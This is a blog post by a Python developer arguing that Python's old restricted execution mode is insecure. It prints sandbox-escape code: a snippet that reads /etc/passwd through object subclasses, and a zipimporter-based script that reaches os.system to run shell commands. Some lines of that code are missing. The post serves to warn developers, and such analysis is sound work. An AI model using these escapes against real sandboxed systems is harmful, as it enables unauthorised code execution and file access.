Dalke Scientific Software: More science. Less time. Products
[ previous | newer ]     /home/writings/diary/archive/2008/03/03/restricted_python

Restricted python

Long time ago there was the thought that Python could support a restricted execution mode, where untrusted code could be executed with limited capabilities. Quoting from the Python 2.2.3 manual:

There exists a class of applications for which this "openness'" is inappropriate. Take Grail: a Web browser that accepts "applets,'' snippets of Python code, from anywhere on the Internet for execution on the local system. This can be used to improve the user interface of forms, for instance. Since the originator of the code is unknown, it is obvious that it cannot be trusted with the full resources of the local machine.

Restricted execution is the basic framework in Python that allows for the segregation of trusted and untrusted code. It is based on the notion that trusted Python code (a supervisor) can create a ``padded cell' (or environment) with limited permissions, and run the untrusted code within this cell. The untrusted code cannot break out of its cell, and can only interact with sensitive system resources through interfaces defined and managed by the trusted code.

In practice this didn't work out. By the time 2.3 came out the restricted execution documentation said:
Warning: In Python 2.3 these modules have been disabled due to various known and not readily fixable security holes. The modules are still documented here to help in reading old code that uses the rexec and Bastion modules.
There were a lot of tricks to get around the problem. Over time the simple ones were patched but the problem is the Python C implementation (and probably the Java and .Net ones) weren't designed with security in mind. It's very hard to retrofit security.

Some of the restricted environment code stayed in Python. Here's a snippet from the CVS version just before 2.6a1.

        /* rexec.py can't stop a user from getting the file() constructor --
           all they have to do is get *any* file object f, and then do
           type(f).  Here we prevent them from doing damage with it. */
        if (PyEval_GetRestricted()) {
                "file() constructor not accessible in restricted mode");
                f = NULL;
                goto cleanup;
The PyEval_GetRestricted() test checks to see if __builtins__ for the current frame is the same as Python's globals. If not, it's a restricted environment. Here's an example of the same code run in each environment:
>>> exec """print [x for x in ().__class__.__bases__[0].__subclasses__()
...      if x.__name__ == 'file'][0]('/etc/passwd').read()[:60]"""
# User Database
# Note that this file is consulted whe

>>> L = G = dict(__builtins__ = {})
>>> exec """print [x for x in ().__class__.__bases__[0].__subclasses__()
...      if x.__name__ == 'file'][0]('/etc/passwd').read()[:60]""" in L, G
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "&tl;string>", line 1, in <module>
IOError: file() constructor not accessible in restricted mode

Today I saw the recently contributed Python Cookbook Recipe which "create[s] a restricted python function from a string." Sounds nice so I looked at it. It basically uses what's left of the old rexec code, which is know to be untrustworthy for the general case.

For the person who posted the code it's probably good enough, but the recipe doesn't include the strong warnings I thought were needed. I added a comment, and to strengthen the comment decided to come up with an attack using the default recipe and without using any passed in variables.

I came close. If I know the location of an egg which has already been loaded and which contains a reference to the 'os' module then I can get access to os.system through the zipimporter type. One such common module is 'configobj'.

# Example attack code using the zipimport type to get around Python's
# restricted mode checks.

# Must import this otherwise zipimporter will fail because zlib can't
# be found.  (Reading another zip file fixes that, but then the import
# fails because it can't find __import__)
import configobj

attack_code = """

all_types = ().__class__.__bases__[0].__subclasses__()
file = [x for x in all_types if x.__name__ == "file"][0]

# Prove that I'm in restricted mode, or that I'm running
# on a non-unix-based machine.  This stop is optional
    assert "Was able to open a file!"

zipimport = [x for x in all_types if x.__name__ == "zipimporter"][0]

# Easiest case would be on a system with a python*.zip file
# because I could import os directly this way.

egg = ("/Library/Frameworks/Python.framework/Versions/2.5/lib/"
loader = zipimport(egg)
configobj = loader.load_module("configobj")
os = configobj.os

print "system call:", os.system("ls")


L = G = dict(__builtins__ = {})
exec attack_code in L, G
This contains comments and some code to verify that I'm really running in restricted mode. Take that out and the attack code is an expression that doesn't need to be exec'ed and which doesn't use any passed in variables.
[x for x in ().__class__.__bases__[0].__subclasses__()
   if x.__name__ == "zipimporter"][0](

I considered reporting this as a bug to the Python maintainers, in case there was thought to slowly patch problems like this, but then noticed Python 3's "NEWS" file says

- Remove the f_restricted attribute from frames. This naturally leads to the removal of PyEval_GetRestricted() and PyFrame_IsRestricted().
Goodbye and good riddance. It won't confuse people into thinking it does something useful when it doesn't.

Andrew Dalke is an independent consultant focusing on software development for computational chemistry and biology. Need contract programming, help, or training? Contact me

Copyright © 2001-2020 Andrew Dalke Scientific AB